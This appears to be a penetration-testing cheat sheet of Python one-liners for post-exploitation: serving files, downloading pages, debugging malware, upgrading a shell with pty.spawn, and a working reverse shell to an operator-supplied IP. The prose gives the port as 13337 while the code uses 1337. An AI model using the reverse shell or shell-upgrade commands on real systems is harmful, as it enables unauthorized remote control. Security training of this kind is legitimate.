cyber-security-resources/python_ruby_and_bash/python_cool_tricks.md

# Cool Python Tricks

## Starting a quick web server to serve some files (useful for post exploitation)

### In Python 2.x
```
python -m SimpleHTTPServer 1337
```

### In Python 3.x
```
python3 -m http.server 1337
```

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## Pythonic Web Client

### In Python 2.x
```
python -c 'import urllib2; print urllib2.urlopen("http://h4cker.org/web").read()' | tee /tmp/file.html
```

### In Python 3.x
```
python3 -c 'import urllib.request; urllib.request.urlretrieve ("http://h4cker.org/web","/tmp/h4cker.html")'
```

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## Python Debugger
This imports a Python file and runs the debugger automatically. This is useful for debugging Python-based malware and for post-exploitation.

```
python -m pdb <some_python_file>
```

Refer to this [Python Debugger cheatsheet](https://kapeli.com/cheat_sheets/Python_Debugger.docset/Contents/Resources/Documents/index) if you are not familiar with the Python Debugger.

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## Shell to Terminal
This is useful after exploitation and getting a shell. It allows you to use Linux commands that require a terminal session (e.g., su, sudo, vi, etc.)

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

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## Using Python to do a Reverse Shell

You put your IP address (instead of 192.168.78.205) and the port (instead of 13337) below:

```
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.78.205",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
```